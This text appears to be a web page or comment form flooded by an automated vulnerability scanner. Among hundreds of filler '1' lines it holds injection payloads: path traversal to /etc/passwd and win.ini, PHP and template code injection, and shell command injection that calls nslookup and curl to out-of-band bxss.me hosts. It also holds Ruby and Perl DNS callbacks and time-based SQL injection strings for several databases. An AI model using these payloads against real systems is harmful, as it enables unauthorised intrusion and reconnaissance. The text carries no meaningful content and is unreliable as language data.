1

1

1

1

1

1

1

1

1

1m7b7xQNO

1

1

1

1

1

1

1

1

1

1

1

response.write(9357507*9882824)

1

1

1

1

1

'+response.write(9357507*9882824)+'

1

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

"+response.write(9357507*9882824)+"

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1

1

12345'"'");|]*{
<>

file:///etc/passwd

1

1

1

${9999705+9999416}

1

1

1

1

1

1

../1

1

1

1

1

1

./1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

1

1

1

1

1

1

1

'.gethostbyname(lc('hitkc'.'cdxohauacde64.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(90).chr(111).chr(89).'

)

1

1

1

".gethostbyname(lc("hitmu"."dsxjyrvsae0d7.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(87).chr(102).chr(70)."

/etc/shells

!(()&&!|*|*|

1

1

1

1

1

../../../../../../../../../../../../../../etc/shells

gethostbyname(lc('hitld'.'qaoxswyv7c50d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(87).chr(121).chr(86)

^(#$!@#$)(()))******

1

1

1

c:/windows/win.ini

1

1

1

1

1

1

1

1

1

1

1

1

1

echo kcychc$() aemnzqnz^xyu||a #' &echo kcychc$() aemnzqnz^xyu||a #|" &echo kcychc$() aemnzqnz^xyu||a #

1

1

1

bxss.me

1

1

&echo lwpbmo$() uaiisonz^xyu||a #' &echo lwpbmo$() uaiisonz^xyu||a #|" &echo lwpbmo$() uaiisonz^xyu||a #

1

1

1

1

1

1

1&echo umuwho$() ovpbrbnz^xyu||a #' &echo umuwho$() ovpbrbnz^xyu||a #|" &echo umuwho$() ovpbrbnz^xyu||a #

1

1

1

1

|echo uqwsgb$() tfgzfonz^xyu||a #' |echo uqwsgb$() tfgzfonz^xyu||a #|" |echo uqwsgb$() tfgzfonz^xyu||a #

1

1

1

1

1|echo niicfs$() azwgiwnz^xyu||a #' |echo niicfs$() azwgiwnz^xyu||a #|" |echo niicfs$() azwgiwnz^xyu||a #

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

(nslookup -q=cname hitudrfckfpfu13a2f.bxss.me||curl hitudrfckfpfu13a2f.bxss.me))

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

$(nslookup -q=cname hitrvnbnllhnpc0ae4.bxss.me||curl hitrvnbnllhnpc0ae4.bxss.me)

';print(md5(31337));$a='

1

1

1

1

1

";print(md5(31337));$a="

1

bxss.me/t/xss.html?%00

1

1

${@print(md5(31337))}

1

reply

1

&nslookup -q=cname hityljzefooel469df.bxss.me&'"`0&nslookup -q=cname hityljzefooel469df.bxss.me&`'

1

reply

1

${@print(md5(31337))}

&(nslookup -q=cname hitbmtzlrwleg89e8b.bxss.me||curl hitbmtzlrwleg89e8b.bxss.me)&'"`0&(nslookup -q=cname hitbmtzlrwleg89e8b.bxss.me||curl hitbmtzlrwleg89e8b.bxss.me)&`'

1

1

1

"+"A".concat(70-3).concat(22*4).concat(102).concat(66).concat(110).concat(80)+(require"socket"
Socket.gethostbyname("hiton"+"vgigzqryf4e3a.bxss.me.")[3].to_s)+"

1

|(nslookup -q=cname hitjmvfxmqtgg4cd71.bxss.me||curl hitjmvfxmqtgg4cd71.bxss.me)

1

'.print(md5(31337)).'

1

'+'A'.concat(70-3).concat(22*4).concat(105).concat(82).concat(116).concat(86)+(require'socket'
Socket.gethostbyname('hitlh'+'hhqquieza075c.bxss.me.')[3].to_s)+'

reply/.

`(nslookup -q=cname hitqtrtuwbymff363a.bxss.me||curl hitqtrtuwbymff363a.bxss.me)`

1

'A'.concat(70-3).concat(22*4).concat(100).concat(66).concat(114).concat(88)+(require'socket'
Socket.gethostbyname('hitpl'+'oxhzjbpveeb41.bxss.me.')[3].to_s)

1

1

'"()

1

1

1

1'&&sleep(27*1000)*jqyify&&'

1

1

1

1"&&sleep(27*1000)*bmsudf&&"

1

1

1

1

;(nslookup -q=cname hitkbyfnetngb2fe9b.bxss.me||curl hitkbyfnetngb2fe9b.bxss.me)|(nslookup -q=cname hitkbyfnetngb2fe9b.bxss.me||curl hitkbyfnetngb2fe9b.bxss.me)&(nslookup -q=cname hitkbyfnetngb2fe9b.bxss.me||curl hitkbyfnetngb2fe9b.bxss.me)

1'||sleep(27*1000)*cyspjf||'

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1"||sleep(27*1000)*fkhyul||"

1

1

1

1

|(nslookup${IFS}-q${IFS}cname${IFS}hithzpyktwddyd9068.bxss.me||curl${IFS}hithzpyktwddyd9068.bxss.me)

1

1

&(nslookup${IFS}-q${IFS}cname${IFS}hitvuygkzrpmc96aa6.bxss.me||curl${IFS}hitvuygkzrpmc96aa6.bxss.me)&'"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvuygkzrpmc96aa6.bxss.me||curl${IFS}hitvuygkzrpmc96aa6.bxss.me)&`'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'"

1

1

1

<!--

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+756-756-1=0+0+0+1 --

1

-1 OR 3+756-756-1=0+0+0+1 --

-1 OR 3*2<(0+5+756-756) --

1

-1 OR 3*2>(0+5+756-756) --

1

-1 OR 2+730-730-1=0+0+0+1

1

-1 OR 3+730-730-1=0+0+0+1

-1 OR 3*2<(0+5+730-730)

-1 OR 3*2>(0+5+730-730)

-1' OR 2+314-314-1=0+0+0+1 --

-1' OR 3+314-314-1=0+0+0+1 --

-1' OR 3*2<(0+5+314-314) --

-1' OR 3*2>(0+5+314-314) --

-1' OR 2+862-862-1=0+0+0+1 or '8m7yUCFP'='

-1' OR 3+862-862-1=0+0+0+1 or '8m7yUCFP'='

-1' OR 3*2<(0+5+862-862) or '8m7yUCFP'='

-1' OR 3*2>(0+5+862-862) or '8m7yUCFP'='

-1" OR 2+533-533-1=0+0+0+1 --

-1" OR 3+533-533-1=0+0+0+1 --

-1" OR 3*2<(0+5+533-533) --

-1" OR 3*2>(0+5+533-533) --

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1-1; waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --

1f4uv9N3Q'; waitfor delay '0:0:15' --

1-1 OR 42=(SELECT 42 FROM PG_SLEEP(15))--

1-1) OR 515=(SELECT 515 FROM PG_SLEEP(15))--

1-1)) OR 160=(SELECT 160 FROM PG_SLEEP(15))--

1ta274rut' OR 388=(SELECT 388 FROM PG_SLEEP(15))--

1ISCZ0pYn') OR 446=(SELECT 446 FROM PG_SLEEP(15))--

1352omD24')) OR 968=(SELECT 968 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1

@@BmZDE

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1